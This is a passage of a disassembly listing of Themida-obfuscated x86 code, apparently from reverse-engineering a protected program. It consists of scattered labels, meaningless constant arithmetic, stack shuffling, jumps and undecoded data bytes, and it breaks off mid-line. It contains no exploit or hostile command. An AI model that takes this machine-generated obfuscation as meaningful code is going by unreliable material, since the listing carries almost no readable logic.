pop eax xor edi, 68BA308Bh push 607Fh jmp loc_55CB5A ; --------------------------------------------------------------------------- loc_568CA6: ; CODE XREF: Themida_:0055B370j jno loc_56431C add esi, 0EFD3C0E3h push ecx mov ecx, 7C185FDDh sub eax, ecx pop ecx loc_568CBB: ; CODE XREF: Themida_:0055CBE6j pop ebx add edi, 0A4F6FD5Bh sub eax, 31F77638h add eax, edi add eax, 31F77638h pop edi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55ABEC ; --------------------------------------------------------------------------- loc_568CE3: ; CODE XREF: Themida_:00556658j jmp loc_56CAB0 ; --------------------------------------------------------------------------- loc_568CE8: ; CODE XREF: Themida_:0056774Cj add ebx, edi pop edi push 1E3Fh mov [esp], ebx push eax mov eax, 231C62F3h xor [esp+4], eax pop eax push dword ptr [esp] jmp loc_55CB43 ; --------------------------------------------------------------------------- loc_568D06: ; CODE XREF: Themida_:0055D98Cj add eax, 85C548F8h add edx, eax pop eax shl edx, 5 jmp loc_56AD7E ; --------------------------------------------------------------------------- loc_568D16: ; CODE XREF: Themida_:0055BFF4j add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_56D4FC ; --------------------------------------------------------------------------- db 68h dd 16D7h, 52241C89h, 10DFE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_568D56: ; CODE XREF: Themida_:0055932Aj push 33A2h mov [esp], eax jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_568D63: ; CODE XREF: Themida_:00558436j mov esp, [esp] jmp loc_564248 ; --------------------------------------------------------------------------- loc_568D6B: ; CODE XREF: Themida_:0055F501j sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5595E5 ; --------------------------------------------------------------------------- loc_568D78: ; CODE XREF: Themida_:00561A13j inc esi and esi, 28680067h sub esi, 0E836FA3Ah add edx, esi pop esi pop ebx xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push 1 push dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi jmp loc_562DAC ; --------------------------------------------------------------------------- loc_568DAC: ; CODE XREF: Themida_:0056937Ej xor ecx, 7C5E55C7h jmp loc_55B972 ; --------------------------------------------------------------------------- loc_568DB7: ; CODE XREF: Themida_:0055F876j push dword ptr [esp] pop ecx jmp loc_56956B ; --------------------------------------------------------------------------- loc_568DC0: ; CODE XREF: Themida_:0055DE90j shr bh, 2 shl bh, 3 xor bh, 80h push ebx mov bh, 53h jmp loc_564E85 ; --------------------------------------------------------------------------- loc_568DD1: ; CODE XREF: Themida_:0055F114j and ebp, ebx pop ebx xor ebp, 3A7D4914h xor eax, ebp pop ebp jmp loc_56A3BC ; --------------------------------------------------------------------------- loc_568DE2: ; CODE XREF: Themida_:005699B0j xor ecx, [esp] pop esp mov [esp], esi mov esi, 4 sub esp, 4 mov [esp], edx mov edx, 19590585h sub edx, 0BD10E464h add eax, edx pop edx add eax, esi sub eax, 5C482121h push dword ptr [esp] pop esi jmp loc_55F6E2 ; --------------------------------------------------------------------------- loc_568E15: ; CODE XREF: Themida_:0056D2C2j mov bl, 0E9h dec bl add bl, 0BEh jb loc_55ADA5 dec bl jo loc_567477 jmp loc_56113A ; --------------------------------------------------------------------------- db 8Ah dd 549E05CFh, 98E9468Dh db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568E3B: ; CODE XREF: Themida_:0055C34Fj add dword ptr [esp], 4 pop dword ptr [esp] push eax jmp loc_569CE4 ; --------------------------------------------------------------------------- loc_568E48: ; CODE XREF: Themida_:005601E2j sub edi, eax pop eax mov edx, [esp] add esp, 4 xchg edi, [esp] jmp loc_568AEF ; --------------------------------------------------------------------------- db 5Ch, 81h, 0ECh dd 4, 0FFD803E9h db 0FFh ; --------------------------------------------------------------------------- loc_568E65: ; CODE XREF: Themida_:0055805Aj add esp, 4 jmp loc_559A76 ; --------------------------------------------------------------------------- loc_568E6D: ; CODE XREF: Themida_:00556637j add ebp, 4 jmp loc_558764 ; --------------------------------------------------------------------------- dd 2908F181h, 0A0E93935h db 0, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568E83: ; CODE XREF: Themida_:005585CDj xchg ebp, [esp] jmp loc_56B606 ; --------------------------------------------------------------------------- byte_568E8B db 8Bh ; DATA XREF: Themida_:005560E8o dd 54552404h, 9F0BE95Dh, 5B59FFFFh, 7370C12Dh, 8E0EE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568EA2: ; CODE XREF: Themida_:0055DFFAj ; Themida_:005643FAj mov ebp, 75440D74h jmp loc_562B1E ; --------------------------------------------------------------------------- dd 336FED81h, 0F501527Ah, 336FC581h, 0E95E527Ah, 0FFFEDDB2h dd 0E908E1C1h, 0FFFF44F7h ; --------------------------------------------------------------------------- loc_568EC8: ; CODE XREF: Themida_:00562688j sub edx, 2BA02C9Ch add edx, ebp add edx, 2BA02C9Ch push esi mov esi, 109C41D7h sub esi, 43730371h shr esi, 1 neg esi xor esi, 735F0BDAh sub esi, 0AAA34332h add edx, esi pop esi jmp loc_55E883 ; --------------------------------------------------------------------------- dw 8B66h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55730B ; --------------------------------------------------------------------------- loc_568F06: ; CODE XREF: Themida_:005615BAj pop bx push 0 sub [esp], ah mov ah, [esp] add esp, 4 xor ah, 74h sub bl, 0BAh jmp loc_55D589 ; --------------------------------------------------------------------------- loc_568F21: ; CODE XREF: Themida_:0055F90Ej jmp loc_5571ED ; --------------------------------------------------------------------------- loc_568F26: ; CODE XREF: Themida_:0056B9C1j add ecx, eax pop eax sub esp, 4 mov [esp], esi push ebp mov ebp, 76DF6781h mov esi, 43001662h xor esi, ebp pop ebp jmp loc_55EAB9 ; --------------------------------------------------------------------------- loc_568F42: ; CODE XREF: Themida_:00563074j mov ecx, 64EC1F0Eh and ecx, 714B4775h inc ecx shl ecx, 7 not ecx shr ecx, 5 jmp loc_5644E2 ; --------------------------------------------------------------------------- loc_568F5B: ; CODE XREF: Themida_:0055F433j ; Themida_:00562B07j add edx, 2FD77CCAh jmp loc_5661D4 ; --------------------------------------------------------------------------- loc_568F66: ; CODE XREF: Themida_:0056CD14j pop eax push edi push dword ptr [esp+4] jmp loc_56A770 ; --------------------------------------------------------------------------- loc_568F71: ; CODE XREF: Themida_:00557E03j sub esi, 22A6269Fh add ecx, esi pop esi sub edx, ecx push dword ptr [esp] jmp loc_56B9F3 ; --------------------------------------------------------------------------- loc_568F84: ; CODE XREF: Themida_:0055E069j inc esi add esi, 0C466BD3h sub esi, 0CB947A6h push eax mov eax, 26F41F09h shr eax, 3 shl eax, 6 or eax, 6E057E40h jmp loc_567AFB ; --------------------------------------------------------------------------- aLVs db '▀,$VИ>:',0 align 10h loc_568FB0: ; CODE XREF: Themida_:0055F820j xchg ecx, esi inc esi jnp loc_5622DD and esi, 2E695E0Ch mov dl, 0C4h mov edx, ebx loc_568FC3: ; CODE XREF: Themida_:00559899j push 730744C4h jmp loc_561904 ; --------------------------------------------------------------------------- loc_568FCD: ; CODE XREF: Themida_:00566AA7j mov bl, ch mov ecx, [esp] add esp, 4 pop edx sub al, 0E8h sub al, bl add al, 0E8h push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, esp push ebx mov ebx, 4 jmp loc_55E004 ; --------------------------------------------------------------------------- byte_568FF7 db 66h ; DATA XREF: Themida_:00556014o dd 53240C8Bh, 0FF7A39E9h db 0FFh ; --------------------------------------------------------------------------- loc_569001: ; CODE XREF: Themida_:00564A46j xor eax, 752960C2h and eax, 54AA7257h not eax sub eax, 0FFFFFFFFh sub eax, 930C8AB8h sub ebx, eax pop eax add ebx, edi push edx mov edx, 2C531343h add ebx, edx pop edx pop edi add ebx, 2 push 22CAh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_56AC9C ; --------------------------------------------------------------------------- loc_569042: ; CODE XREF: Themida_:00557061j pop edx or edi, esi mov esi, [esp] jmp loc_556FCA ; --------------------------------------------------------------------------- loc_56904D: ; CODE XREF: Themida_:005682F0j mov [esp], ebx jmp loc_55C787 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 0E9000000h, 0FFFF20C4h, 8904EC83h, 0B951243Ch, 4DEB3394h dd 8159CF89h, 2BC3B7EFh, 86B9514Bh, 2938AB3Dh, 0FB2959CBh dd 3D86B850h, 0EB8138ABh, 238F0F93h, 0C381C301h, 238F0F93h dd 243C8B58h, 5604C483h, 0A0504CBEh, 2DBA5265h, 81304916h dd 0D3464C6h, 81D62911h, 0D3464EEh, 0DAD9E911h db 2 dup(0FFh) word_5690BA dw 8B66h ; DATA XREF: Themida_:00556060o dd 0A968240Ch, 89000020h, 5B54241Ch, 4C381h, 50550000h dd 0FED6B7E9h, 0FDBF7FFh, 20278Eh, 0EB814300h, 868F4DE4h dd 5D5BDA89h, 0E9240489h, 0FFFF6DAFh ; --------------------------------------------------------------------------- loc_5690F0: ; CODE XREF: Themida_:00569E25j pop edi shl esi, 7 jmp loc_566DDF ; --------------------------------------------------------------------------- db 0E9h, 46h, 3Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5690FE: ; CODE XREF: Themida_:0055C0BBj neg ebx add ebx, 6693354h shl ebx, 1 sub ebx, 2D682E03h or esi, ebx jmp loc_55FE8B ; --------------------------------------------------------------------------- loc_569115: ; CODE XREF: Themida_:0056418Aj ; Themida_:0056B34Fj inc ecx and ecx, 72555080h xor ecx, 20451084h add ebp, ecx pop ecx jmp loc_55D985 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 0FFFF91E1h ; --------------------------------------------------------------------------- loc_569138: ; CODE XREF: Themida_:0056829Bj sub al, 0A9h add al, bh add al, 0A9h sub al, 64h jmp loc_56797D ; --------------------------------------------------------------------------- loc_569145: ; CODE XREF: Themida_:00565BA1j mov edi, [esp] add esp, 4 jmp loc_564174 ; --------------------------------------------------------------------------- loc_569153: ; CODE XREF: Themida_:0056A612j xor ebx, [esp] xor [esp], ebx jmp loc_5609E6 ; --------------------------------------------------------------------------- loc_56915E: ; CODE XREF: Themida_:0055C201j add ebp, 0D161B37h jmp loc_55A5E3 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4BA5200h, 1000000h, 0BFE95AD1h, 4BFFFF61h, 0C0278B0Fh dd 0DBF7FFFFh, 1E08E9h db 0 ; --------------------------------------------------------------------------- loc_56918D: ; CODE XREF: Themida_:005591ACj pop esp mov [esp], ecx jmp loc_55FBBE ; --------------------------------------------------------------------------- aBsydBsgwzH? db '[│АyD°-│Иgw╖$hь?',0 align 4 dd 0E9242C89h, 0FFFF8EDAh ; --------------------------------------------------------------------------- loc_5691B0: ; CODE XREF: Themida_:00559151j jbe loc_56C524 sub esp, 4 mov [esp], esi push 20054B8Fh mov esi, [esp] jmp loc_564752 ; --------------------------------------------------------------------------- loc_5691C9: ; CODE XREF: Themida_:0056397Cj push ecx jmp loc_562FD8 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2E44E900h, 0EE81FFFFh, 6E081B9Ch, 0FF8399E9h db 0FFh ; --------------------------------------------------------------------------- loc_5691E5: ; CODE XREF: Themida_:0055D791j pop ecx or cl, 92h jmp loc_55CB38 ; --------------------------------------------------------------------------- loc_5691EE: ; CODE XREF: Themida_:0056A207j sub esi, edi add esi, 9FA5E48h jmp loc_56628A ; --------------------------------------------------------------------------- db 0B8h dd 30FC3D57h, 0B6330C0Dh, 41823572h, 3F2D2AC8h, 0E9198F5Ch dd 0FFFF685Fh ; --------------------------------------------------------------------------- loc_569214: ; CODE XREF: Themida_:0055F611j pop esp xchg eax, [esp] pop esp jmp loc_56470C ; --------------------------------------------------------------------------- loc_56921E: ; CODE XREF: Themida_:005640AFj js loc_5612BB jmp loc_565244 ; --------------------------------------------------------------------------- loc_569229: ; CODE XREF: Themida_:00561277j mov eax, 0F76D9CE7h add esi, eax pop eax mov edi, esi pop esi or edi, 164A6BB3h xor edi, 177E6BB3h add ecx, edi pop edi jmp loc_56B018 ; --------------------------------------------------------------------------- loc_569248: ; CODE XREF: Themida_:0055F9E5j mov ecx, 2 sub edx, 9E66F11h sub edx, ecx push ebx jmp loc_56D438 ; --------------------------------------------------------------------------- loc_56925B: ; CODE XREF: Themida_:0055E9CCj pop eax add edx, 2DE73F4Eh shr edx, 2 jmp loc_558E12 ; --------------------------------------------------------------------------- loc_56926A: ; CODE XREF: Themida_:00558730j ; Themida_:00566A8Fj pop edi push esi push 79B63750h jmp loc_56168D ; --------------------------------------------------------------------------- loc_569276: ; CODE XREF: Themida_:0056081Fj shl ebp, 7 add ebp, 2A2B7313h sub ebp, 0D84D0EE3h add eax, ebp pop ebp inc eax push ebp mov ebp, 30775018h shr ebp, 6 jmp loc_56A8FB ; --------------------------------------------------------------------------- loc_569297: ; CODE XREF: Themida_:00559F34j ; Themida_:00568AC4j push dword ptr [esp] pop ebx add esp, 4 add esi, 68055DEh sub esi, ebp sub esi, 68055DEh pop ebp xchg esi, [esp] jmp loc_5676D4 ; --------------------------------------------------------------------------- loc_5692B8: ; CODE XREF: Themida_:0055C0C7j ; Themida_:00566378j mov ah, ch mov dl, ah pop eax pop ecx jmp loc_567303 ; --------------------------------------------------------------------------- byte_5692C3 db 66h ; DATA XREF: Themida_:005561B4o dd 6824048Bh, 44D0h, 89243489h, 0DEE953E6h db 0Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5692D7: ; CODE XREF: Themida_:0055A4A3j pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_55639C ; --------------------------------------------------------------------------- loc_5692E5: ; CODE XREF: Themida_:0055BA00j sub ebx, 3D546ED0h sub ebx, 34561A8Fh add ebx, eax add ebx, 34561A8Fh jmp loc_56408A ; --------------------------------------------------------------------------- loc_5692FE: ; CODE XREF: Themida_:00560829j inc ebx add ebx, 33A773FBh dec ebx not ebx push esi mov esi, 0D167337h add ebx, esi pop esi jmp loc_5568DD ; --------------------------------------------------------------------------- word_569316 dw 4ACh ; DATA XREF: Themida_:00556114o dd 66D800D2h, 66473B68h, 0B6241489h, 0D1E953D2h db 0DBh, 2 dup(0FFh) byte_56932B db 66h ; DATA XREF: Themida_:00556028o dd 5624048Bh, 0C6815E54h, 4, 8704EE83h, 895C2434h, 0E0E9241Ch db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_569347: ; CODE XREF: Themida_:0056093Bj jnb loc_56C5D9 shl edi, 4 js loc_55B4CF shr edi, 1 jp loc_56AACD xor edi, 3A715714h push ecx mov ecx, 73810606h push ecx inc eax jp loc_5593B4 xor eax, 14F21574h inc eax jmp loc_560408 ; --------------------------------------------------------------------------- loc_56937D: ; CODE XREF: Themida_:loc_566CE2j inc ecx jnp loc_568DAC xor ecx, 7C5E55C7h mov ebp, esi add al, 0BDh push 3DB7h jmp loc_56C481 ; --------------------------------------------------------------------------- loc_569398: ; CODE XREF: Themida_:00562ECAj or eax, 53A127B2h jle loc_567887 add eax, 192212Fh jmp loc_56B557 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0BBh dd 81FFFF49h, 2C3h, 241C8700h, 0E924248Bh, 0FFFF0D2Ch ; --------------------------------------------------------------------------- loc_5693C4: ; CODE XREF: Themida_:005590BEj push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esi mov esi, 465C12A8h shl esi, 1 not esi shr esi, 3 xor esi, 636932D0h neg esi push eax jmp loc_55F004 ; --------------------------------------------------------------------------- loc_5693F6: ; CODE XREF: Themida_:0055ACD0j push 7483h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_56249A ; --------------------------------------------------------------------------- loc_569417: ; CODE XREF: Themida_:00562D4Aj jge loc_55B76F and ebx, 32F309DEh sub ebx, 0BEC6D0B7h loc_569429: ; CODE XREF: Themida_:0055740Cj shr dh, 2 jmp loc_55AD3D ; --------------------------------------------------------------------------- loc_569431: ; CODE XREF: Themida_:0055CFCDj push ebx mov ebx, 6E9704C6h mov eax, ebx pop ebx sub eax, 24BA167Dh jmp loc_55CCF9 ; --------------------------------------------------------------------------- dword_569444 dd 3851E9ACh, 0B951FFFFh, 4, 8159C801h, 4ECh, 241C8900h ; DATA XREF: Themida_:0055611Co dd 0C379CD68h, 0CB815B09h, 5161CDFh, 450E68h, 243C8900h dd 0BFh, 20EF8100h, 29248567h, 20C781DFh, 57248567h, 243C8B5Bh dd 0FEE679E9h, 1AEB81FFh, 81170F19h, 843A5C3h, 883EE945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56949E: ; CODE XREF: Themida_:0055A2C3j ; Themida_:00566BD7j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edi, 3E96645Dh mov ebx, edi jmp loc_559F44 ; --------------------------------------------------------------------------- dd 4EC81h, 7E90000h db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5694C3: ; CODE XREF: Themida_:loc_556CFFj sub ebx, 6DB7183Dh jmp loc_55FDAD ; --------------------------------------------------------------------------- word_5694CE dw 8B66h ; DATA XREF: Themida_:005560FCo dd 14E9240Ch db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5694D7: ; CODE XREF: Themida_:0055848Dj add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5601F1 ; --------------------------------------------------------------------------- dd 7BB9515Ah, 0E95D211Ch, 0FFFF059Bh ; --------------------------------------------------------------------------- loc_5694F4: ; CODE XREF: Themida_:00560B8Cj push edx jmp loc_55667B ; --------------------------------------------------------------------------- word_5694FA dw 53ACh ; DATA XREF: Themida_:0055617Co dd 0F3808EB3h, 8BD80010h, 1DE9241Ch db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56950B: ; CODE XREF: Themida_:005572AFj jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 8124248Bh, 4C5h, 4EC8100h, 89000000h, 42E92404h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569527: ; CODE XREF: Themida_:005603BDj mov ebx, 0 push 8Dh jmp loc_566902 ; --------------------------------------------------------------------------- loc_569536: ; CODE XREF: Themida_:0056955Bj jmp loc_55AD3D ; --------------------------------------------------------------------------- loc_56953B: ; CODE XREF: Themida_:loc_5629B7j push ecx mov ecx, 458616Eh jmp loc_56A68F ; --------------------------------------------------------------------------- loc_569546: ; CODE XREF: Themida_:00558E59j and ecx, ebp pop ebp shr ecx, 0Bh sub esp, 4 mov [esp], ebx push ebp jmp loc_561859 ; --------------------------------------------------------------------------- loc_569558: ; CODE XREF: Themida_:loc_55DF0Bj shr eax, 8 jp loc_569536 jmp loc_55F440 ; --------------------------------------------------------------------------- dw 0C651h db 0C3h, 21h, 58h ; --------------------------------------------------------------------------- loc_56956B: ; CODE XREF: Themida_:00568DBBj push ecx jmp loc_56713D ; --------------------------------------------------------------------------- loc_569571: ; CODE XREF: Themida_:0056B753j mov ah, dl mov ch, ah mov eax, [esp] add esp, 4 jmp loc_563184 ; --------------------------------------------------------------------------- loc_569583: ; CODE XREF: Themida_:00558BCBj mov edx, [esp] add esp, 4 push 3279h mov [esp], edi sub esp, 4 mov [esp], edx jmp loc_558674 ; --------------------------------------------------------------------------- loc_5695A2: ; CODE XREF: Themida_:00567ECDj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or edx, eax shl edx, 1 push 319Fh jmp loc_563A4E ; --------------------------------------------------------------------------- loc_5695BA: ; CODE XREF: Themida_:00557044j push dword ptr [esp] jmp loc_56782F ; --------------------------------------------------------------------------- word_5695C2 dw 77FFh ; DATA XREF: Themida_:00556104o dd 59669D1Ch, 2414D366h, 0CD15E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5695D2: ; CODE XREF: Themida_:0055C948j add ebp, ecx push edi mov edi, 3E90351Ch xor edi, 3DCC7FF5h jmp loc_55888C ; --------------------------------------------------------------------------- loc_5695E5: ; CODE XREF: Themida_:loc_5677C3j shl ecx, 4 push edx mov edx, 16485144h sub ecx, 319D6BE9h add ecx, 6CC31D96h add ecx, edx sub ecx, 6CC31D96h add ecx, 319D6BE9h pop edx jmp loc_55FB8D ; --------------------------------------------------------------------------- dw 0D3F7h dd 0FEFCBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_569615: ; CODE XREF: Themida_:0056199Aj pop ebp push ecx mov ecx, 78E81376h jmp loc_5592F9 ; --------------------------------------------------------------------------- loc_569621: ; CODE XREF: Themida_:0056B2D9j shl ebp, 6 and ebp, 76A00009h push eax jmp loc_567F4A ; --------------------------------------------------------------------------- loc_569630: ; CODE XREF: Themida_:00560332j xor edi, 3BBF6364h push edx jmp loc_558585 ; --------------------------------------------------------------------------- loc_56963C: ; CODE XREF: Themida_:00559514j push edi push esi push 86605AFh jmp loc_567C49 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 7CE8BB24h, 0F7534AA5h, 815B2414h dd 6751C5F3h, 6E3C145h, 0FF55BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_569669: ; CODE XREF: Themida_:00568AEAj pop ebx sub eax, 37265650h add eax, ecx add eax, 37265650h pop ecx jmp loc_56BDB5 ; --------------------------------------------------------------------------- dd 1EF815Fh, 0F7000000h, 3EFC1D7h, 707B850Fh, 0C781FFFFh dd 30099BBAh, 0FFFD98E9h db 0FFh ; --------------------------------------------------------------------------- loc_569699: ; CODE XREF: Themida_:0055C406j mov edx, [esp] add esp, 4 push ecx mov ecx, 74B22DD6h neg ecx shr ecx, 4 or ecx, 230D10CCh push edx mov edx, 73A7CE1Dh xor ecx, edx pop edx sub esi, ecx push dword ptr [esp] pop ecx add esp, 4 sub esi, 211B775Dh jmp loc_566175 ; --------------------------------------------------------------------------- loc_5696D0: ; CODE XREF: Themida_:0056424Bj or eax, eax jz loc_566AB3 push eax jmp loc_56BB8B ; --------------------------------------------------------------------------- loc_5696DE: ; CODE XREF: Themida_:00562EE5j pop ebx add [esp+8], esi pop esi add dword ptr [esp+4], 3DD33B91h jmp loc_565508 ; --------------------------------------------------------------------------- loc_5696F1: ; CODE XREF: Themida_:00566905j ; Themida_:0056C991j mov eax, 28D55D85h not eax sub eax, 0B12251D2h sub ebx, eax pop eax jmp loc_566970 ; --------------------------------------------------------------------------- db 83h, 0C6h, 4 dd 5C243487h, 4495BE56h, 0BA52449Ch, 0BB63BB6Fh, 1EEEC681h dd 0D6017DD4h, 1EEEEE81h, 815A7DD4h, 0BF79D3C7h, 55F7014Eh dd 0A3755DBDh, 171E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56973A: ; CODE XREF: Themida_:0055FFC5j pop ecx xor ecx, 2D7E5D6Eh mov ebp, [esp] jmp loc_56C095 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 92h dd 0F959E835h, 0E570D0Fh, 0C3687C4Ch, 89000012h, 73B9240Ch dd 31FF6CDEh, 0C68959C8h, 83C58158h, 8120907Fh, 28240CEDh dd 0BA23E91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56977A: ; CODE XREF: Themida_:005675E1j push 7EEFh mov [esp], ebx sub esp, 4 mov [esp], eax push cx mov ch, 94h mov ah, ch jmp loc_56015C ; --------------------------------------------------------------------------- loc_569793: ; CODE XREF: Themida_:00561C07j push edx jmp loc_56542C ; --------------------------------------------------------------------------- loc_569799: ; CODE XREF: Themida_:0055D6D1j add esp, 4 jmp loc_567FA5 ; --------------------------------------------------------------------------- loc_5697A4: ; CODE XREF: Themida_:loc_55E20Cj xor ebp, 173F13h jmp loc_564643 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 3ED2E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5697BA: ; CODE XREF: Themida_:loc_55AAF6j push ebx mov ebx, 281C7D67h shr ebx, 6 sub ebx, 6A92799Ch not ebx push esi mov esi, 75270093h sub esi, 59EBECE8h xor ebx, esi jmp loc_56D108 ; --------------------------------------------------------------------------- loc_5697DE: ; CODE XREF: Themida_:00563B42j add esi, 6A29621Fh pop edi xchg esi, [esp] jmp loc_562372 ; --------------------------------------------------------------------------- loc_5697ED: ; CODE XREF: Themida_:0055AED0j add esi, 40222DFFh sub ecx, esi pop esi xor ebp, ecx pop ecx push 7BDh jmp loc_567BAA ; --------------------------------------------------------------------------- byte_569803 db 66h ; DATA XREF: Themida_:0055602Co dd 6824048Bh, 4FEDh, 89241C89h, 7564E9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569816: ; CODE XREF: Themida_:0055C2CAj pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], eax pop dword ptr [edi+40h] push dword ptr [esp] pop eax push ebp push 713Ch mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_56808E ; --------------------------------------------------------------------------- loc_56983F: ; CODE XREF: Themida_:005653D9j push 6013h mov [esp], ecx sub esp, 4 jmp loc_565AF8 ; --------------------------------------------------------------------------- loc_56984F: ; CODE XREF: Themida_:00568046j shl bl, 3 xor bl, 83h sub ah, bl mov ebx, [esp] add esp, 4 add ch, 0D2h sub ch, ah sub ch, 0D2h mov eax, [esp] add esp, 4 xor al, ch mov cx, [esp] jmp loc_55E6C0 ; --------------------------------------------------------------------------- loc_56987C: ; CODE XREF: Themida_:00566A40j push 7998h jmp loc_55A669 ; --------------------------------------------------------------------------- loc_569886: ; CODE XREF: Themida_:005689CDj add ebx, ecx sub esp, 4 mov [esp], ebp mov ebp, 3DC76EB3h neg ebp xor ebp, 7DF06BD6h jmp loc_5633D9 ; --------------------------------------------------------------------------- loc_5698A0: ; CODE XREF: Themida_:0055CCC9j sub bl, 0A3h add bl, 23h jmp loc_55CCE5 ; --------------------------------------------------------------------------- db 81h dd 1C0C8EF5h, 0E9EF2978h, 0FFFF3725h, 33242C31h, 248B242Ch dd 24048B24h, 6CE95453h db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5698CB: ; CODE XREF: Themida_:loc_56B4B9j neg ecx add ecx, 5CF10D3h sub ecx, 0AD28AC58h mov edi, ecx jmp loc_560E74 ; --------------------------------------------------------------------------- loc_5698E0: ; CODE XREF: Themida_:00566DFAj add ecx, esi add ecx, 20AB0AA4h sub ecx, 46D54F85h push esi push ecx jmp loc_56D71E ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 6B6Dh jmp loc_561931 ; --------------------------------------------------------------------------- loc_569909: ; CODE XREF: Themida_:0056756Aj xchg ebp, edx sub edx, 3C71398Ah shr edx, 7 sub esp, 4 mov [esp], eax push ecx mov ecx, 4A177CBEh mov eax, 0D2329793h jmp loc_55797C ; --------------------------------------------------------------------------- dw 835Fh dd 348904ECh, 2D96BE24h, 0F3296C67h, 0E924348Bh, 0FFFFB2F3h ; --------------------------------------------------------------------------- loc_569940: ; CODE XREF: Themida_:005669A5j add esi, edi pop edi jmp loc_563061 ; --------------------------------------------------------------------------- dd 2474FF55h, 242C8B04h, 8F04C483h, 0D25C2404h, 0E99C240Ch dd 0FFFEC987h, 0A91EE981h, 0C8893FD1h, 247E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56996E: ; CODE XREF: Themida_:00565B40j xchg ebp, edx push ebp jmp loc_55A186 ; --------------------------------------------------------------------------- dw 0C829h dd 667E3305h, 0E9595964h, 0FFFF2F77h ; --------------------------------------------------------------------------- loc_569984: ; CODE XREF: Themida_:0056CCD6j push dword ptr [esp] jmp loc_55D1F6 ; --------------------------------------------------------------------------- loc_56998C: ; CODE XREF: Themida_:0056334Fj jmp loc_5615D1 ; --------------------------------------------------------------------------- loc_569991: ; CODE XREF: Themida_:0056D44Cj xor ebx, 0BB85075h sub ebx, 52E52FF3h add ebx, 0E8647069h add edx, ebx jmp loc_55D8B7 ; --------------------------------------------------------------------------- loc_5699AA: ; CODE XREF: Themida_:0055FA44j xor ecx, [esp] xor [esp], ecx jmp loc_568DE2 ; --------------------------------------------------------------------------- loc_5699B5: ; CODE XREF: Themida_:0055A466j add dh, 0Ch not dh add dh, 1 jmp loc_55E871 ; --------------------------------------------------------------------------- loc_5699C2: ; CODE XREF: Themida_:0055CC96j push esi mov esi, 790B67DDh add [esp+8], esi jmp loc_560602 ; --------------------------------------------------------------------------- loc_5699D1: ; CODE XREF: Themida_:00563038j push edi jmp loc_56BFAE ; --------------------------------------------------------------------------- loc_5699D7: ; CODE XREF: Themida_:00562A19j and dh, 0E2h add dh, 0B2h add bh, dh pop edx push edx jmp loc_568883 ; --------------------------------------------------------------------------- loc_5699E6: ; CODE XREF: Themida_:00557951j sub edx, 2 jmp loc_5663E2 ; --------------------------------------------------------------------------- loc_5699F1: ; CODE XREF: Themida_:loc_5588B8j ; Themida_:00558F5Dj push edx push ebx mov bl, 5Dh mov dl, 9Eh sub dl, bl jmp loc_562E60 ; --------------------------------------------------------------------------- loc_5699FE: ; CODE XREF: Themida_:00566992j sub esp, 4 mov [esp], edx jmp loc_55F1F3 ; --------------------------------------------------------------------------- loc_569A09: ; CODE XREF: Themida_:0055C612j or edx, 5B711A35h add edx, 3B6204E3h sub edx, 0AE91BA1Bh add ecx, edx pop edx sub ecx, 653B3C9Ch sub edx, ecx pop ecx add edx, 42BA6712h add edx, esi push ebp jmp loc_563A5D ; --------------------------------------------------------------------------- db 5, 4, 0 dd 84E90000h, 83FFFF7Ah, 0BE904C7h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569A47: ; CODE 